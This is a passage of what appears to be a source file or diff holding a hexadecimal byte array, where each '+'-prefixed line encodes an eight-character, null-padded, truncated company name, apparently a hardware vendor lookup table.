0x63, 0x00, 0x00, +0x45, 0x6e, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x75, 0x63, 0x6f, 0x6d, 0x6d, 0x00, +0x46, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x69, 0x6e, +0x53, 0x68, 0x61, 0x73, 0x74, 0x61, 0x4e, 0x65, +0x4e, 0x69, 0x68, 0x6f, 0x6e, 0x4d, 0x65, 0x64, +0x54, 0x72, 0x69, 0x65, 0x6d, 0x73, 0x52, 0x65, +0x42, 0x69, 0x6f, 0x70, 0x61, 0x63, 0x00, 0x00, +0x4e, 0x56, 0x50, 0x68, 0x69, 0x6c, 0x69, 0x70, +0x41, 0x7a, 0x74, 0x65, 0x63, 0x52, 0x61, 0x64, +0x45, 0x63, 0x63, 0x73, 0x00, 0x00, 0x00, 0x00, +0x41, 0x73, 0x73, 0x75, 0x72, 0x65, 0x64, 0x44, +0x4d, 0x61, 0x72, 0x63, 0x6f, 0x6e, 0x69, 0x43, +0x44, 0x65, 0x78, 0x64, 0x79, 0x6e, 0x65, 0x00, +0x47, 0x69, 0x67, 0x61, 0x46, 0x61, 0x73, 0x74, +0x5a, 0x65, 0x61, 0x6c, 0x00, 0x00, 0x00, 0x00, +0x45, 0x6e, 0x74, 0x72, 0x69, 0x64, 0x69, 0x61, +0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x53, 0x79, +0x45, 0x70, 0x69, 0x67, 0x72, 0x61, 0x6d, 0x00, +0x53, 0x70, 0x65, 0x63, 0x53, 0x41, 0x00, 0x00, +0x44, 0x65, 0x6c, 0x65, 0x6d, 0x42, 0x76, 0x00, +0x41, 0x62, 0x62, 0x50, 0x6f, 0x77, 0x65, 0x72, +0x54, 0x65, 0x6c, 0x65, 0x73, 0x74, 0x65, 0x00, +0x55, 0x6c, 0x74, 0x69, 0x6d, 0x61, 0x74, 0x65, +0x53, 0x65, 0x6c, 0x63, 0x6f, 0x6d, 0x45, 0x6c, +0x44, 0x61, 0x65, 0x77, 0x6f, 0x6f, 0x45, 0x6c, +0x54, 0x65, 0x6c, 0x65, 0x73, 0x74, 0x72, 0x65, +0x41, 0x61, 0x6e, 0x65, 0x74, 0x63, 0x6f, 0x6d, +0x44, 0x65, 0x61, 0x72, 0x62, 0x6f, 0x72, 0x6e, +0x52, 0x61, 0x79, 0x6d, 0x6f, 0x6e, 0x64, 0x41, +0x45, 0x64, 0x6d, 0x69, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x63, 0x6f, 0x6d, 0x53, 0x69, +0x52, 0x61, 0x75, 0x6c, 0x61, 0x6e, 0x64, 0x2d, +0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x43, 0x72, +0x50, 0x61, 0x63, 0x69, 0x66, 0x69, 0x63, 0x52, +0x49, 0x63, 0x70, 0x56, 0x6f, 0x72, 0x74, 0x65, +0x46, 0x69, 0x6e, 0x69, 0x73, 0x61, 0x72, 0x00, +0x54, 0x72, 0x6f, 0x69, 0x6b, 0x61, 0x4e, 0x65, +0x57, 0x61, 0x6c, 0x6b, 0x61, 0x62, 0x6f, 0x75, +0x44, 0x76, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x75, 0x72, 0x6e, 0x73, 0x74, 0x6f, 0x6e, +0x50, 0x72, 0x61, 0x78, 0x6f, 0x6e, 0x00, 0x00, +0x4e, 0x65, 0x6f, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x53, 0x69, 0x6d, 0x72, 0x61, 0x64, 0x41, 0x73, +0x47, 0x61, 0x69, 0x6f, 0x54, 0x65, 0x63, 0x68, +0x41, 0x72, 0x67, 0x6f, 0x6e, 0x4e, 0x65, 0x74, +0x4e, 0x65, 0x63, 0x44, 0x6f, 0x42, 0x72, 0x61, +0x46, 0x6d, 0x74, 0x41, 0x69, 0x72, 0x63, 0x72, +0x4d, 0x65, 0x72, 0x54, 0x65, 0x6c, 0x65, 0x6d, +0x43, 0x6c, 0x65, 0x61, 0x72, 0x6f, 0x6e, 0x65, +0x45, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x63, +0x4c, 0x61, 0x6b, 0x65, 0x43, 0x6f, 0x6d, 0x6d, +0x56, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78, +0x4e, 0x6f, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x6f, 0x68, 0x61, 0x4e, 0x65, 0x74, +0x46, 0x6f, 0x72, 0x63, 0x65, 0x49, 0x6e, 0x73, +0x54, 0x75, 0x72, 0x62, 0x6f, 0x43, 0x6f, 0x6d, +0x41, 0x74, 0x65, 0x63, 0x68, 0x53, 0x79, 0x73, +0x47, 0x6f, 0x6c, 0x64, 0x65, 0x6e, 0x45, 0x6e, +0x49, 0x74, 0x69, 0x73, 0x00, 0x00, 0x00, 0x00, +0x42, 0x61, 0x78, 0x61, 0x6c, 0x6c, 0x53, 0x65, +0x53, 0x6f, 0x66, 0x74, 0x63, 0x6f, 0x6d, 0x4d, +0x42, 0x61, 0x79, 0x6c, 0x79, 0x43, 0x6f, 0x6d, +0x45, 0x74, 0x72, 0x65, 0x6e, 0x64, 0x45, 0x6c, +0x56, 0x69, 0x63, 0x6b, 0x65, 0x72, 0x73, 0x45, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x43, 0x6f, 0x64, +0x49, 0x2d, 0x42, 0x75, 0x73, 0x00, 0x00, 0x00, +0x4e, 0x61, 0x6e, 0x61, 0x6f, 0x00, 0x00, 0x00, +0x4f, 0x73, 0x70, 0x72, 0x65, 0x79, 0x54, 0x65, +0x53, 0x62, 0x63, 0x44, 0x65, 0x73, 0x69, 0x67, +0x4f, 0x6e, 0x65, 0x57, 0x6f, 0x72, 0x6c, 0x64, +0x4d, 0x61, 0x72, 0x6b, 0x65, 0x6d, 0x2d, 0x49, +0x43, 0x72, 0x69, 0x74, 0x69, 0x63, 0x61, 0x6c, +0x44, 0x69, 0x67, 0x69, 0x2d, 0x44, 0x61, 0x74, +0x38, 0x78, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, +0x46, 0x6c, 0x79, 0x69, 0x6e, 0x67, 0x50, 0x69, +0x43, 0x6f, 0x72, 0x65, 0x63, 0x65, 0x73, 0x73, +0x41, 0x6c, 0x74, 0x69, 0x67, 0x61, 0x4e, 0x65, +0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x61, 0x4c, +0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x65, 0x63, +0x4e, 0x69, 0x6e, 0x65, 0x74, 0x69, 0x6c, 0x65, +0x49, 0x6e, 0x64, 0x69, 0x67, 0x6f, 0x41, 0x63, +0x4f, 0x70, 0x74, 0x69, 0x76, 0x69, 0x73, 0x69, +0x41, 0x73, 0x70, 0x65, 0x63, 0x74, 0x45, 0x6c, +0x4a, 0x4d, 0x6f, 0x72, 0x69, 0x74, 0x61, 0x4d, +0x56, 0x61, 0x64, 0x65, 0x6d, 0x00, 0x00, 0x00, +0x41, 0x76, 0x69, 0x63, 0x69, 0x00, 0x00, 0x00, +0x41, 0x67, 0x72, 0x61, 0x6e, 0x61, 0x74, 0x00, +0x57, 0x69, 0x6c, 0x6c, 0x6f, 0x77, 0x62, 0x72, +0x4e, 0x69, 0x6b, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x46, 0x69, 0x62, 0x65, 0x78, 0x00, 0x00, 0x00, +0x52, 0x6f, 0x68, 0x64, 0x65, 0x53, 0x63, 0x68, +0x42, 0x65, 0x72, 0x61, 0x6e, 0x49, 0x6e, 0x73, +0x56, 0x61, 0x6c, 0x69, 0x64, 0x4e, 0x65, 0x74, +0x54, 0x61, 0x69, 0x6e, 0x65, 0x74, 0x43, 0x6f, +0x54, 0x65, 0x6c, 0x65, 0x6d, 0x61, 0x6e, 0x6e, +0x4f, 0x6d, 0x6e, 0x69, 0x61, 0x43, 0x6f, 0x6d, +0x49, 0x62, 0x63, 0x2f, 0x49, 0x6e, 0x74, 0x65, +0x4b, 0x4a, 0x4c, 0x61, 0x77, 0x45, 0x6e, 0x67, +0x4a, 0x6b, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, +0x54, 0x6f, 0x70, 0x69, 0x63, 0x53, 0x65, 0x6d, +0x4a, 0x61, 0x76, 0x65, 0x6c, 0x69, 0x6e, 0x00, +0x4f, 0x70, 0x74, 0x69, 0x6d, 0x00, 0x00, 0x00, +0x49, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, 0x00, +0x57, 0x61, 0x76, 0x65, 0x72, 0x69, 0x64, 0x65, +0x44, 0x70, 0x61, 0x63, 0x54, 0x65, 0x63, 0x68, +0x41, 0x63, 0x63, 0x6f, 0x72, 0x64, 0x56, 0x69, +0x45, 0x6e, 0x74, 0x2d, 0x45, 0x6d, 0x70, 0x72, +0x41, 0x76, 0x61, 0x74, 0x65, 0x72, 0x61, 0x6d, +0x4e, 0x6f, 0x72, 0x74, 0x65, 0x6c, 0x00, 0x00, +0x4c, 0x65, 0x69, 0x63, 0x68, 0x75, 0x45, 0x6e, +0x41, 0x72, 0x74, 0x65, 0x6c, 0x56, 0x69, 0x64, +0x47, 0x69, 0x65, 0x73, 0x65, 0x63, 0x6b, 0x65, +0x42, 0x69, 0x6e, 0x64, 0x76, 0x69, 0x65, 0x77, +0x45, 0x75, 0x70, 0x68, 0x6f, 0x6e, 0x69, 0x78, +0x43, 0x72, 0x79, 0x73, 0x74, 0x61, 0x6c, 0x47, +0x4e, 0x65, 0x74, 0x62, 0x6f, 0x6f, 0x73, 0x74, +0x57, 0x68, 0x69, 0x74, 0x65, 0x63, 0x72, 0x6f, +0x44, 0x79, 0x6e, 0x61, 0x72, 0x63, 0x00, 0x00, +0x4e, 0x65, 0x78, 0x74, 0x4c, 0x65, 0x76, 0x65, +0x54, 0x65, 0x63, 0x6f, 0x49, 0x6e, 0x66, 0x6f, +0x4d, 0x69, 0x68, 0x61, 0x72, 0x75, 0x43, 0x6f, +0x43, 0x61, 0x72, 0x64, 0x6b, 0x65, 0x79, 0x00, +0x53, 0x79, 0x73, 0x74, 0x72, 0x61, 0x6e, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x6e, 0x61, 0x53, 0x50, +0x44, 0x69, 0x73, 0x74, 0x72, 0x69, 0x62, 0x75, +0x41, 0x76, 0x65, 0x78, 0x45, 0x6c, 0x65, 0x63, +0x4e, 0x65, 0x63, 0x41, 0x6d, 0x65, 0x72, 0x69, +0x54, 0x65, 0x6b, 0x6e, 0x65, 0x6d, 0x61, 0x00, +0x41, 0x6c, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x48, 0x6f, 0x72, 0x73, 0x63, 0x68, 0x45, 0x6c, +0x4d, 0x6f, 0x78, 0x61, 0x54, 0x65, 0x63, 0x68, +0x4a, 0x61, 0x6e, 0x7a, 0x43, 0x6f, 0x6d, 0x70, +0x53, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x65, +0x50, 0x79, 0x72, 0x65, 0x73, 0x63, 0x6f, 0x6d, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6c, 0x53, +0x50, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x61, 0x6c, +0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x78, +0x41, 0x73, 0x70, 0x65, 0x63, 0x74, 0x43, 0x6f, +0x4c, 0x69, 0x67, 0x68, 0x74, 0x6e, 0x69, 0x6e, +0x43, 0x6c, 0x65, 0x76, 0x6f, 0x00, 0x00, 0x00, +0x45, 0x73, 0x63, 0x61, 0x6c, 0x61, 0x74, 0x65, +0x4e, 0x62, 0x61, 0x73, 0x65, 0x43, 0x6f, 0x6d, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x74, 0x72, 0x69, +0x49, 0x6d, 0x61, 0x67, 0x69, 0x6e, 0x65, 0x43, +0x50, 0x6f, 0x72, 0x74, 0x77, 0x65, 0x6c, 0x6c, +0x43, 0x6f, 0x70, 0x70, 0x65, 0x72, 0x63, 0x6f, +0x54, 0x65, 0x6c, 0x6c, 0x75, 0x73, 0x54, 0x65, +0x53, 0x79, 0x6e, 0x61, 0x70, 0x73, 0x65, 0x50, +0x55, 0x6e, 0x69, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, +0x4c, 0x73, 0x64, 0x53, 0x63, 0x69, 0x65, 0x6e, +0x48, 0x65, 0x69, 0x6d, 0x61, 0x6e, 0x6e, 0x53, +0x43, 0x61, 0x72, 0x64, 0x69, 0x61, 0x63, 0x52, +0x58, 0x69, 0x61, 0x6f, 0x6d, 0x69, 0x43, 0x6f, +0x44, 0x72, 0x73, 0x53, 0x69, 0x67, 0x6e, 0x61, +0x4c, 0x65, 0x65, 0x64, 0x73, 0x4e, 0x6f, 0x72, +0x44, 0x61, 0x6e, 0x69, 0x65, 0x6c, 0x49, 0x6e, +0x49, 0x6d, 0x61, 0x67, 0x65, 0x44, 0x61, 0x74, +0x41, 0x70, 0x65, 0x78, 0x78, 0x54, 0x65, 0x63, +0x4e, 0x65, 0x74, 0x63, 0x6f, 0x72, 0x70, 0x00, +0x57, 0x68, 0x69, 0x74, 0x65, 0x74, 0x72, 0x65, +0x41, 0x69, 0x72, 0x73, 0x70, 0x61, 0x6e, 0x00, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, 0x65, 0x78, +0x4b, 0x69, 0x6e, 0x67, 0x6d, 0x61, 0x78, 0x54, +0x50, 0x61, 0x6e, 0x64, 0x61, 0x50, 0x72, 0x6f, +0x53, 0x79, 0x73, 0x6c, 0x6f, 0x67, 0x69, 0x63, +0x4d, 0x75, 0x74, 0x6f, 0x68, 0x49, 0x6e, 0x64, +0x54, 0x65, 0x6c, 0x74, 0x72, 0x65, 0x6e, 0x64, +0x43, 0x73, 0x69, 0x72, 0x00, 0x00, 0x00, 0x00, +0x57, 0x79, 0x6c, 0x65, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x70, 0x6f, 0x6c, +0x4a, 0x42, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x62, 0x75, 0x6c, 0x61, 0x43, 0x6f, +0x42, 0x69, 0x6e, 0x61, 0x72, 0x45, 0x6c, 0x65, +0x50, 0x72, 0x65, 0x6d, 0x69, 0x73, 0x79, 0x73, +0x4e, 0x61, 0x73, 0x63, 0x65, 0x6e, 0x74, 0x4e, +0x45, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x72, 0x69, 0x63, 0x6f, 0x72, 0x64, 0x00, +0x43, 0x69, 0x74, 0x69, 0x63, 0x6f, 0x72, 0x70, +0x52, 0x65, 0x64, 0x63, 0x6f, 0x6d, 0x4c, 0x61, +0x54, 0x65, 0x6c, 0x64, 0x61, 0x74, 0x53, 0x41, +0x46, 0x69, 0x72, 0x65, 0x70, 0x6f, 0x77, 0x65, +0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x72, 0x50, 0x65, +0x43, 0x6f, 0x75, 0x6c, 0x74, 0x65, 0x72, 0x00, +0x54, 0x72, 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x6c, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x69, 0x74, 0x69, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x77, 0x61, 0x76, +0x31, 0x33, 0x39, 0x34, 0x54, 0x72, 0x61, 0x64, +0x42, 0x72, 0x61, 0x6e, 0x64, 0x43, 0x6f, 0x6d, +0x43, 0x61, 0x70, 0x74, 0x6f, 0x72, 0x4e, 0x76, +0x48, 0x61, 0x7a, 0x65, 0x6c, 0x74, 0x69, 0x6e, +0x47, 0x65, 0x73, 0x53, 0x69, 0x6e, 0x67, 0x61, +0x49, 0x6d, 0x63, 0x4d, 0x65, 0x62, 0x73, 0x79, +0x41, 0x78, 0x65, 0x6c, 0x00, 0x00, 0x00, 0x00, +0x43, 0x79, 0x6c, 0x69, 0x6e, 0x6b, 0x00, 0x00, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x65, 0x64, 0x4e, +0x4d, 0x69, 0x6e, 0x64, 0x72, 0x61, 0x79, 0x44, +0x45, 0x6d, 0x61, 0x69, 0x6c, 0x45, 0x6c, 0x65, +0x52, 0x6f, 0x73, 0x73, 0x54, 0x65, 0x63, 0x68, +0x4b, 0x75, 0x62, 0x6f, 0x74, 0x65, 0x6b, 0x00, +0x54, 0x6f, 0x73, 0x68, 0x69, 0x6e, 0x45, 0x6c, +0x45, 0x67, 0x26, 0x47, 0x4e, 0x75, 0x63, 0x6c, +0x4f, 0x70, 0x74, 0x6f, 0x2d, 0x32, 0x32, 0x00, +0x41, 0x74, 0x6d, 0x46, 0x6f, 0x72, 0x75, 0x6d, +0x49, 0x6e, 0x66, 0x69, 0x63, 0x6f, 0x6e, 0x00, +0x53, 0x70, 0x75, 0x72, 0x50, 0x72, 0x6f, 0x64, +0x4e, 0x74, 0x74, 0x49, 0x74, 0x00, 0x00, 0x00, +0x50, 0x68, 0x6f, 0x65, 0x6e, 0x69, 0x78, 0x43, +0x51, 0x75, 0x65, 0x73, 0x74, 0x65, 0x63, 0x68, +0x44, 0x69, 0x67, 0x69, 0x74, 0x65, 0x63, 0x68, +0x4e, 0x69, 0x73, 0x73, 0x68, 0x69, 0x6e, 0x45, +0x54, 0x66, 0x6c, 0x4c, 0x61, 0x6e, 0x00, 0x00, +0x45, 0x64, 0x61, 0x49, 0x6e, 0x73, 0x74, 0x72, +0x56, 0x6f, 0x65, 0x6c, 0x6b, 0x65, 0x72, 0x54, +0x41, 0x6d, 0x65, 0x72, 0x69, 0x74, 0x65, 0x63, +0x41, 0x6e, 0x67, 0x69, 0x61, 0x43, 0x6f, 0x6d, +0x53, 0x74, 0x61, 0x6e, 0x69, 0x6c, 0x69, 0x74, +0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x44, +0x44, 0x61, 0x74, 0x61, 0x44, 0x65, 0x76, 0x69, +0x4c, 0x61, 0x6e, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x47, 0x6c, 0x6f, 0x72, 0x79, 0x00, 0x00, 0x00, +0x4b, 0x6f, 0x66, 0x61, 0x78, 0x49, 0x6d, 0x61, +0x4d, 0x61, 0x72, 0x71, 0x75, 0x69, 0x70, 0x00, +0x49, 0x6e, 0x76, 0x65, 0x6e, 0x74, 0x6f, 0x72, +0x43, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, +0x4d, 0x79, 0x72, 0x69, 0x61, 0x64, 0x4c, 0x6f, +0x42, 0x74, 0x67, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x41, 0x63, 0x65, 0x72, 0x50, 0x65, 0x72, 0x69, +0x50, 0x75, 0x72, 0x69, 0x74, 0x61, 0x6e, 0x42, +0x41, 0x65, 0x73, 0x50, 0x72, 0x6f, 0x64, 0x61, +0x4a, 0x72, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x76, 0x62, 0x2f, 0x41, 0x6e, 0x61, 0x6c, +0x49, 0x73, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x42, 0x68, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x44, 0x6d, 0x73, 0x44, 0x6f, 0x72, 0x73, 0x63, +0x53, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x6e, 0x67, +0x41, 0x75, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x43, 0x6f, 0x6c, 0x6f, 0x72, 0x53, 0x65, 0x6e, +0x43, 0x6f, 0x61, 0x73, 0x74, 0x63, 0x6f, 0x6d, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x4c, 0x6f, 0x74, +0x4f, 0x76, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x00, +0x43, 0x6f, 0x6d, 0x32, 0x31, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x54, 0x65, +0x43, 0x61, 0x72, 0x64, 0x77, 0x61, 0x72, 0x65, +0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x4e, +0x44, 0x61, 0x77, 0x6e, 0x43, 0x6f, 0x6d, 0x70, +0x54, 0x6f, 0x6e, 0x79, 0x61, 0x6e, 0x67, 0x4e, +0x53, 0x65, 0x65, 0x71, 0x54, 0x65, 0x63, 0x68, +0x41, 0x76, 0x69, 0x64, 0x54, 0x65, 0x63, 0x68, +0x47, 0x73, 0x6d, 0x2d, 0x53, 0x79, 0x6e, 0x74, +0x4e, 0x6b, 0x74, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x41, 0x73, 0x69, 0x6d, 0x6d, 0x70, 0x68, 0x6f, +0x44, 0x61, 0x74, 0x61, 0x70, 0x6c, 0x65, 0x78, +0x41, 0x6d, 0x62, 0x65, 0x72, 0x57, 0x61, 0x76, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x65, 0x6d, +0x58, 0x70, 0x6f, 0x69, 0x6e, 0x74, 0x54, 0x65, +0x42, 0x72, 0x6f, 0x6f, 0x6b, 0x74, 0x72, 0x6f, +0x41, 0x73, 0x74, 0x6f, 0x6e, 0x45, 0x6c, 0x65, +0x4a, 0x61, 0x63, 0x6f, 0x6d, 0x6f, 0x00, 0x00, +0x44, 0x65, 0x73, 0x6b, 0x6e, 0x65, 0x74, 0x00, +0x54, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x65, 0x70, +0x41, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x6f, 0x6d, +0x48, 0x42, 0x6f, 0x6c, 0x6c, 0x6d, 0x61, 0x6e, +0x42, 0x2f, 0x45, 0x41, 0x65, 0x72, 0x6f, 0x73, +0x43, 0x6f, 0x6d, 0x73, 0x61, 0x74, 0x00, 0x00, +0x41, 0x63, 0x61, 0x63, 0x69, 0x61, 0x4e, 0x65, +0x4d, 0x69, 0x74, 0x73, 0x75, 0x6d, 0x69, 0x45, +0x4a, 0x63, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, +0x4b, 0x2d, 0x4e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x4e, 0x69, 0x68, 0x6f, 0x6e, 0x4b, 0x6f, 0x68, +0x58, 0x79, 0x70, 0x6c, 0x65, 0x78, 0x00, 0x00, +0x4a, 0x6f, 0x68, 0x6e, 0x61, 0x74, 0x68, 0x6f, +0x49, 0x63, 0x74, 0x76, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x6d, 0x76, 0x69, 0x73, 0x69, +0x45, 0x70, 0x69, 0x63, 0x44, 0x61, 0x74, 0x61, +0x44, 0x69, 0x67, 0x69, 0x63, 0x6f, 0x6d, 0x53, +0x54, 0x65, 0x6b, 0x6e, 0x6f, 0x72, 0x4d, 0x69, +0x4d, 0x49, 0x4b, 0x4b, 0x00, 0x00, 0x00, 0x00, +0x56, 0x6f, 0x72, 0x61, 0x78, 0x00, 0x00, 0x00, +0x52, 0x65, 0x6e, 0x65, 0x78, 0x00, 0x00, 0x00, +0x4e, 0x61, 0x76, 0x74, 0x65, 0x6c, 0x43, 0x6f, +0x53, 0x70, 0x61, 0x63, 0x65, 0x6c, 0x61, 0x62, +0x4e, 0x65, 0x74, 0x63, 0x73, 0x49, 0x6e, 0x66, +0x47, 0x69, 0x6c, 0x61, 0x74, 0x53, 0x61, 0x74, +0x4e, 0x75, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x57, 0x6d, 0x73, 0x49, 0x6e, 0x64, 0x75, 0x73, +0x49, 0x2d, 0x4f, 0x44, 0x61, 0x74, 0x61, 0x44, +0x46, 0x69, 0x72, 0x73, 0x74, 0x56, 0x69, 0x72, +0x53, 0x68, 0x69, 0x6d, 0x61, 0x53, 0x65, 0x69, +0x5a, 0x79, 0x6b, 0x72, 0x6f, 0x6e, 0x69, 0x78, +0x54, 0x65, 0x78, 0x61, 0x73, 0x4d, 0x69, 0x63, +0x33, 0x68, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x53, 0x61, 0x6e, 0x72, 0x69, 0x74, 0x7a, 0x41, +0x43, 0x6f, 0x72, 0x64, 0x61, 0x6e, 0x74, 0x00, +0x50, 0x61, 0x74, 0x74, 0x6f, 0x6e, 0x45, 0x6c, +0x48, 0x69, 0x6c, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x56, 0x69, 0x61, 0x73, 0x61, 0x74, 0x00, 0x00, +0x4f, 0x72, 0x74, 0x69, 0x76, 0x75, 0x73, 0x4d, +0x52, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x55, 0x6e, 0x69, 0x63, 0x6f, 0x6d, 0x70, 0x75, +0x43, 0x72, 0x69, 0x73, 0x74, 0x69, 0x65, 0x45, +0x51, 0x75, 0x61, 0x6c, 0x63, 0x6f, 0x6d, 0x6d, +0x49, 0x6e, 0x74, 0x65, 0x6c, 0x50, 0x72, 0x6f, +0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x44, +0x41, 0x72, 0x6b, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x4c, 0x69, 0x74, 0x65, 0x2d, 0x4f, 0x6e, 0x55, +0x44, 0x72, 0x4a, 0x6f, 0x68, 0x61, 0x6e, 0x6e, +0x45, 0x63, 0x65, 0x73, 0x73, 0x61, 0x00, 0x00, +0x53, 0x6f, 0x74, 0x61, 0x73, 0x00, 0x00, 0x00, +0x54, 0x65, 0x6e, 0x58, 0x54, 0x65, 0x63, 0x68, +0x49, 0x6e, 0x73, 0x74, 0x65, 0x6d, 0x43, 0x6f, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x6c, 0x61, 0x6e, +0x53, 0x69, 0x65, 0x72, 0x72, 0x61, 0x57, 0x69, +0x4b, 0x61, 0x73, 0x74, 0x65, 0x6e, 0x43, 0x68, +0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x61, 0x2d, +0x43, 0x6f, 0x6e, 0x76, 0x65, 0x78, 0x43, 0x6f, +0x46, 0x69, 0x73, 0x68, 0x65, 0x72, 0x50, 0x61, +0x4f, 0x4e, 0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, +0x41, 0x7a, 0x6f, 0x6e, 0x69, 0x78, 0x00, 0x00, +0x59, 0x61, 0x6d, 0x61, 0x68, 0x61, 0x00, 0x00, +0x53, 0x74, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x54, 0x65, 0x6e, 0x6e, 0x79, 0x73, 0x6f, 0x6e, +0x57, 0x65, 0x73, 0x74, 0x70, 0x6f, 0x72, 0x74, +0x4b, 0x65, 0x69, 0x73, 0x6f, 0x6b, 0x75, 0x67, +0x58, 0x6b, 0x6c, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x70, 0x74, 0x69, 0x71, 0x75, 0x65, 0x73, +0x4e, 0x68, 0x63, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6c, 0x44, +0x52, 0x65, 0x75, 0x74, 0x65, 0x72, 0x73, 0x48, +0x45, 0x74, 0x68, 0x65, 0x72, 0x63, 0x6f, 0x6d, +0x45, 0x6e, 0x63, 0x6f, 0x72, 0x65, 0x4e, 0x65, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x6d, 0x69, 0x74, +0x4e, 0x61, 0x73, 0x68, 0x6f, 0x62, 0x61, 0x4e, +0x4c, 0x75, 0x63, 0x69, 0x64, 0x61, 0x74, 0x61, +0x54, 0x6f, 0x72, 0x6f, 0x6e, 0x74, 0x6f, 0x4d, +0x49, 0x6e, 0x66, 0x6f, 0x74, 0x65, 0x6b, 0x43, +0x53, 0x74, 0x61, 0x75, 0x62, 0x6c, 0x69, 0x00, +0x47, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x52, 0x61, 0x64, 0x67, 0x75, 0x61, 0x72, 0x64, +0x41, 0x75, 0x74, 0x6f, 0x67, 0x61, 0x73, 0x00, +0x56, 0x49, 0x43, 0x6f, 0x6d, 0x70, 0x75, 0x74, +0x42, 0x69, 0x6e, 0x74, 0x65, 0x63, 0x43, 0x6f, +0x54, 0x6f, 0x72, 0x61, 0x79, 0x45, 0x6e, 0x67, +0x49, 0x6d, 0x61, 0x67, 0x65, 0x53, 0x63, 0x69, +0x53, 0x63, 0x69, 0x74, 0x65, 0x78, 0x44, 0x69, +0x42, 0x6f, 0x73, 0x74, 0x6f, 0x6e, 0x54, 0x65, +0x54, 0x65, 0x6c, 0x6c, 0x61, 0x62, 0x73, 0x4f, +0x49, 0x6e, 0x61, 0x74, 0x00, 0x00, 0x00, 0x00, +0x41, 0x62, 0x61, 0x74, 0x65, 0x63, 0x47, 0x72, +0x57, 0x69, 0x67, 0x77, 0x61, 0x67, 0x00, 0x00, +0x50, 0x65, 0x6e, 0x73, 0x61, 0x6e, 0x64, 0x6f, +0x49, 0x6e, 0x66, 0x6f, 0x67, 0x65, 0x61, 0x72, +0x52, 0x61, 0x6e, 0x74, 0x69, 0x63, 0x4c, 0x61, +0x4f, 0x72, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00, +0x56, 0x69, 0x61, 0x67, 0x61, 0x74, 0x65, 0x54, +0x4f, 0x61, 0x6f, 0x49, 0x7a, 0x68, 0x65, 0x76, +0x48, 0x69, 0x71, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x48, 0x6f, 